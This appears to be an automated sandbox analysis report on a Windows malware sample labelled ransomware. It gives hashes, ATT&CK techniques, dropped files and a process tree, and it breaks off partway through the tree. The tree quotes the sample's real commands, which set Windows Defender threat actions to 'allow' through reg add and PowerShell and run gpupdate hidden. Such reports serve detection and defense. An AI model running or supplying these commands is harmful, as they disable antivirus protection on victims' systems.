f3509c391b9224d87732e6e3dc2c6afa22a73f73e5948da9756b1353b8839ab0

Analysis

max time kernel
148s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
05/06/2024, 13:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
Size 6.6MB
Sample240605-qtraxahe44
SHA256 f3509c391b9224d87732e6e3dc2c6afa22a73f73e5948da9756b1353b8839ab0
MD5 5bf8d7f05165c71650ef1089a4f1b9a6
SHA1 57de03aea2a4feb0e7cb1a6e4e59000719a26784
SHA512 6b2689484539d6d40e8bd6595aafd18d6445dc8095cf9dde4ffc3044ad2721b82921c441e159268d2f820c5e426135227482db57a16b3b0c8a1d94e8ced1b92b
SSDEEP 196608:lNZIbA+2GtTfxNel62FIJ9l9PoMMQQavCiR:lNP+htd+g9l9QZQZz
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

discovery execution spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4684	powershell.exe
2092	powershell.EXE

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Control Panel\International\Geo\Nation	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops Chrome extension 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\cgmkehcjkfcnlkmaddhdkbmeepcjmigg\1.02.02_0\manifest.json	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\GroupPolicy\gpt.ini	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe

Drops file in Program Files directory 14 IoCs

description	ioc	Process
File created	C:\Program Files\Mozilla Firefox\browser\features\{C080EAF2-4DD7-4F7F-896F-5F0157A06C60}.xpi	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
File created	C:\Program Files (x86)\apEsASyFuIiU2\GrSLhzEDhcYWC.dll	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
File created	C:\Program Files (x86)\lfOnEEhKbCnrC\MwadkHj.dll	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
File created	C:\Program Files (x86)\NyEjIjTKcgUn\CQCsTpd.dll	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
File created	C:\Program Files (x86)\zrJLdGmZU\hCnDjau.xml	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
File created	C:\Program Files (x86)\apEsASyFuIiU2\OlGBbgk.xml	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
File created	C:\Program Files (x86)\AYNjsGfSamdmkxhCmAR\SgPLACB.xml	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
File created	C:\Program Files (x86)\zrJLdGmZU\rLzDcW.dll	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{C080EAF2-4DD7-4F7F-896F-5F0157A06C60}.xpi	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
File created	C:\Program Files (x86)\AYNjsGfSamdmkxhCmAR\mQtNaqu.dll	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
File created	C:\Program Files (x86)\lfOnEEhKbCnrC\PmuFORc.xml	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\YilmPFepkPoXLLV.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4624	3924	WerFault.exe	80

Creates scheduled task(s) 1 TTPs 7 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4388	schtasks.exe
2088	schtasks.exe
824	schtasks.exe
2408	schtasks.exe
116	schtasks.exe
4676	schtasks.exe
4704	schtasks.exe

Suspicious behavior: EnumeratesProcesses 56 IoCs

pid	Process
4684	powershell.exe
4684	powershell.exe
4484	powershell.exe
4484	powershell.exe
3488	powershell.exe
3488	powershell.exe
2092	powershell.EXE
2092	powershell.EXE
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4684	powershell.exe
Token: SeDebugPrivilege	4484	powershell.exe
Token: SeDebugPrivilege	3488	powershell.exe
Token: SeDebugPrivilege	2092	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3924 wrote to memory of 4020	3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe	85
PID 3924 wrote to memory of 4020	3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe	85
PID 3924 wrote to memory of 4020	3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe	85
PID 4020 wrote to memory of 3388	4020	cmd.exe	87
PID 4020 wrote to memory of 3388	4020	cmd.exe	87
PID 4020 wrote to memory of 3388	4020	cmd.exe	87
PID 3388 wrote to memory of 4192	3388	forfiles.exe	88
PID 3388 wrote to memory of 4192	3388	forfiles.exe	88
PID 3388 wrote to memory of 4192	3388	forfiles.exe	88
PID 4192 wrote to memory of 1900	4192	cmd.exe	89
PID 4192 wrote to memory of 1900	4192	cmd.exe	89
PID 4192 wrote to memory of 1900	4192	cmd.exe	89
PID 4020 wrote to memory of 868	4020	cmd.exe	90
PID 4020 wrote to memory of 868	4020	cmd.exe	90
PID 4020 wrote to memory of 868	4020	cmd.exe	90
PID 868 wrote to memory of 3404	868	forfiles.exe	91
PID 868 wrote to memory of 3404	868	forfiles.exe	91
PID 868 wrote to memory of 3404	868	forfiles.exe	91
PID 3404 wrote to memory of 2288	3404	cmd.exe	92
PID 3404 wrote to memory of 2288	3404	cmd.exe	92
PID 3404 wrote to memory of 2288	3404	cmd.exe	92
PID 4020 wrote to memory of 3392	4020	cmd.exe	93
PID 4020 wrote to memory of 3392	4020	cmd.exe	93
PID 4020 wrote to memory of 3392	4020	cmd.exe	93
PID 3392 wrote to memory of 816	3392	forfiles.exe	94
PID 3392 wrote to memory of 816	3392	forfiles.exe	94
PID 3392 wrote to memory of 816	3392	forfiles.exe	94
PID 816 wrote to memory of 1888	816	cmd.exe	95
PID 816 wrote to memory of 1888	816	cmd.exe	95
PID 816 wrote to memory of 1888	816	cmd.exe	95
PID 4020 wrote to memory of 1984	4020	cmd.exe	96
PID 4020 wrote to memory of 1984	4020	cmd.exe	96
PID 4020 wrote to memory of 1984	4020	cmd.exe	96
PID 1984 wrote to memory of 4856	1984	forfiles.exe	97
PID 1984 wrote to memory of 4856	1984	forfiles.exe	97
PID 1984 wrote to memory of 4856	1984	forfiles.exe	97
PID 4856 wrote to memory of 4924	4856	cmd.exe	98
PID 4856 wrote to memory of 4924	4856	cmd.exe	98
PID 4856 wrote to memory of 4924	4856	cmd.exe	98
PID 4020 wrote to memory of 2916	4020	cmd.exe	99
PID 4020 wrote to memory of 2916	4020	cmd.exe	99
PID 4020 wrote to memory of 2916	4020	cmd.exe	99
PID 2916 wrote to memory of 4640	2916	forfiles.exe	100
PID 2916 wrote to memory of 4640	2916	forfiles.exe	100
PID 2916 wrote to memory of 4640	2916	forfiles.exe	100
PID 4640 wrote to memory of 4684	4640	cmd.exe	101
PID 4640 wrote to memory of 4684	4640	cmd.exe	101
PID 4640 wrote to memory of 4684	4640	cmd.exe	101
PID 4684 wrote to memory of 4956	4684	powershell.exe	103
PID 4684 wrote to memory of 4956	4684	powershell.exe	103
PID 4684 wrote to memory of 4956	4684	powershell.exe	103
PID 3924 wrote to memory of 4484	3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe	105
PID 3924 wrote to memory of 4484	3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe	105
PID 3924 wrote to memory of 4484	3924	2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe	105
PID 4484 wrote to memory of 1144	4484	powershell.exe	107
PID 4484 wrote to memory of 1144	4484	powershell.exe	107
PID 4484 wrote to memory of 1144	4484	powershell.exe	107
PID 1144 wrote to memory of 4908	1144	cmd.exe	108
PID 1144 wrote to memory of 4908	1144	cmd.exe	108
PID 1144 wrote to memory of 4908	1144	cmd.exe	108
PID 4484 wrote to memory of 3496	4484	powershell.exe	109
PID 4484 wrote to memory of 3496	4484	powershell.exe	109
PID 4484 wrote to memory of 3496	4484	powershell.exe	109
PID 4484 wrote to memory of 4280	4484	powershell.exe	110

C:\Users\Admin\AppData\Local\Temp\2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe
"C:\Users\Admin\AppData\Local\Temp\2024-06-05_5bf8d7f05165c71650ef1089a4f1b9a6_bkransomware.exe"
1⤵
- Checks computer location settings
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3924
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4020
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3388
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4192
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:1900
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:868
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3404
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:2288
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3392
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      Suspicious use of WriteProcessMemory
      PID:816
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:1888
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1984
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4856
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:4924
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2916
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4640
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4684
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        
        PID:4956
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4484
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1144
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:4908
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3496
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4280
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3704
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:4996
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3680
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1608
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3544
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:1220
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1524
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2192
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:3516
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2744
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4080
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2176
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2580
- - C:\Windows\SysWOW64\reg.exe
